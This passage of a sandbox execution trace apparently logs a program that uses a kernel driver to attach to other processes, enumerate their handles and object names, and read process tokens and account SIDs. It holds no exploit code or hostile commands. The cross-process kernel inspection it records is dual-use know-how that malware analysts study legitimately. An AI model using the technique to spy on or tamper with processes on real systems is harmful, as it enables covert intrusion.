0x0 [0095.683] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0095.683] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.683] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.683] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.683] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0095.683] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.683] PsAcquireProcessExitSynchronization () returned 0x0 [0095.683] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880052335d0) [0095.683] ObReferenceObjectByHandle (in: Handle=0xd8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800216b360, HandleInformation=0x0) returned 0x0 [0095.683] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.683] PsReleaseProcessExitSynchronization () returned 0x2 [0095.684] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0095.684] ObQueryNameString (in: Object=0xfffffa800216b360, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.684] ObfDereferenceObject (Object=0xfffffa800216b360) returned 0x1 [0095.684] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.684] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.684] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.684] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0095.684] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.684] PsAcquireProcessExitSynchronization () returned 0x0 [0095.684] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880052335d0) [0095.684] ObReferenceObjectByHandle (in: Handle=0xe4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0095.684] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.684] PsReleaseProcessExitSynchronization () returned 0x2 [0095.684] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0095.684] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.684] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0095.684] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.684] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.684] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.684] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0095.684] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.684] PsAcquireProcessExitSynchronization () returned 0x0 [0095.684] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880052335d0) [0095.684] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0095.684] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.684] PsReleaseProcessExitSynchronization () returned 0x2 [0095.684] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0095.684] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.684] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0xc [0095.684] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.684] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.684] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb4c) returned 0xc0 [0095.684] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.685] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800212cb30, HandleInformation=0x0) returned 0x0 [0095.685] ObOpenObjectByPointer (in: Object=0xfffffa800212cb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff800004f8) returned 0x0 [0095.685] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x7f [0095.685] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800004f8, DesiredAccess=0x8, TokenHandle=0xfffffa800247c980 | out: TokenHandle=0xfffffa800247c980*=0xc8) returned 0x0 [0095.685] ZwClose (Handle=0xffffffff800004f8) returned 0x0 [0095.685] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.685] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.685] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.686] CloseHandle (hObject=0xc8) returned 1 [0095.686] CloseHandle (hObject=0xc0) returned 1 [0095.687] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.687] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0095.687] PsLookupProcessByProcessId (in: ProcessId=0xb4c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.687] PsAcquireProcessExitSynchronization () returned 0x0 [0095.687] KeStackAttachProcess (in: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880052335d0) [0095.687] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001f49750, HandleInformation=0x0) returned 0x0 [0095.687] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.687] PsReleaseProcessExitSynchronization () returned 0x2 [0095.687] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x7d [0095.687] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.687] ObfDereferenceObject (Object=0xfffffa8001f49750) returned 0x1 [0095.687] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.687] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.687] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.687] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0095.687] PsLookupProcessByProcessId (in: ProcessId=0xb4c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.687] PsAcquireProcessExitSynchronization () returned 0x0 [0095.687] KeStackAttachProcess (in: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880052335d0) [0095.687] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001f45200, HandleInformation=0x0) returned 0x0 [0095.687] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.687] PsReleaseProcessExitSynchronization () returned 0x2 [0095.687] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x7d [0095.687] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.687] ObfDereferenceObject (Object=0xfffffa8001f45200) returned 0x1 [0095.687] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.687] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.687] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.687] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0095.688] PsLookupProcessByProcessId (in: ProcessId=0xb4c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.688] PsAcquireProcessExitSynchronization () returned 0x0 [0095.688] KeStackAttachProcess (in: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880052335d0) [0095.688] ObReferenceObjectByHandle (in: Handle=0x198, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80024c0450, HandleInformation=0x0) returned 0x0 [0095.688] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.688] PsReleaseProcessExitSynchronization () returned 0x2 [0095.688] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x7d [0095.688] ObQueryNameString (in: Object=0xfffffa80024c0450, ObjectNameInfo=0xfffffa8002011044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002011044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.688] ObfDereferenceObject (Object=0xfffffa80024c0450) returned 0x1 [0095.688] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.688] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.688] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x858) returned 0xc0 [0095.688] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.688] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80023095e0, HandleInformation=0x0) returned 0x0 [0095.688] ObOpenObjectByPointer (in: Object=0xfffffa80023095e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff800004f8) returned 0x0 [0095.688] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x20 [0095.688] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800004f8, DesiredAccess=0x8, TokenHandle=0xfffffa800247c980 | out: TokenHandle=0xfffffa800247c980*=0xc8) returned 0x0 [0095.688] ZwClose (Handle=0xffffffff800004f8) returned 0x0 [0095.688] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.688] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.688] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.690] CloseHandle (hObject=0xc8) returned 1 [0095.690] CloseHandle (hObject=0xc0) returned 1 [0095.690] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.690] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0095.690] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.690] PsAcquireProcessExitSynchronization () returned 0x0 [0095.690] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880052335d0) [0095.690] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001f46a70, HandleInformation=0x0) returned 0x0 [0095.690] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.690] PsReleaseProcessExitSynchronization () returned 0x2 [0095.690] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0095.690] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233508) returned 0x0 [0095.690] ObfDereferenceObject (Object=0xfffffa8001f46a70) returned 0x1 [0095.690] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.690] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.690] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.690] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0095.690] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.690] PsAcquireProcessExitSynchronization () returned 0x0 [0095.690] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880052335d0) [0095.690] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f81a20, HandleInformation=0x0) returned 0x0 [0095.690] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.690] PsReleaseProcessExitSynchronization () returned 0x2 [0095.690] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0095.690] ObQueryNameString (in: Object=0xfffffa8002f81a20, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.690] ObfDereferenceObject (Object=0xfffffa8002f81a20) returned 0x1 [0095.690] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.691] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.691] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.691] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.691] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.691] PsAcquireProcessExitSynchronization () returned 0x0 [0095.691] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880052335d0) [0095.691] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0095.691] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.691] PsReleaseProcessExitSynchronization () returned 0x2 [0095.691] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0095.691] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0095.692] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0095.692] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.692] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.692] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.692] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0095.692] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.692] PsAcquireProcessExitSynchronization () returned 0x0 [0095.692] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880052335d0) [0095.692] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80034ac070, HandleInformation=0x0) returned 0x0 [0095.692] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.692] PsReleaseProcessExitSynchronization () returned 0x2 [0095.692] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0095.692] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233508) returned 0x0 [0095.692] ObfDereferenceObject (Object=0xfffffa80034ac070) returned 0x1 [0095.692] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.692] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.692] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.692] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.692] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.692] PsAcquireProcessExitSynchronization () returned 0x0 [0095.692] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880052335d0) [0095.692] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001e73f00, HandleInformation=0x0) returned 0x0 [0095.692] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.692] PsReleaseProcessExitSynchronization () returned 0x2 [0095.692] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0095.692] ObQueryNameString (in: Object=0xfffff8a001e73f00, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233550) returned 0x0 [0095.692] ObfDereferenceObject (Object=0xfffff8a001e73f00) returned 0x1 [0095.692] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.692] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.692] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.692] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0095.692] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.692] PsAcquireProcessExitSynchronization () returned 0x0 [0095.692] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880052335d0) [0095.693] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80026e2c40, HandleInformation=0x0) returned 0x0 [0095.693] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.693] PsReleaseProcessExitSynchronization () returned 0x2 [0095.693] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0095.693] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038c97c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80038c97c4, ReturnLength=0xfffff88005233508) returned 0x0 [0095.693] ObfDereferenceObject (Object=0xfffffa80026e2c40) returned 0x1 [0095.693] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.693] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.693] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.693] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0095.693] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.693] PsAcquireProcessExitSynchronization () returned 0x0 [0095.693] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880052335d0) [0095.693] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003518f20, HandleInformation=0x0) returned 0x0 [0095.693] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.693] PsReleaseProcessExitSynchronization () returned 0x2 [0095.693] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0095.693] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003920044, 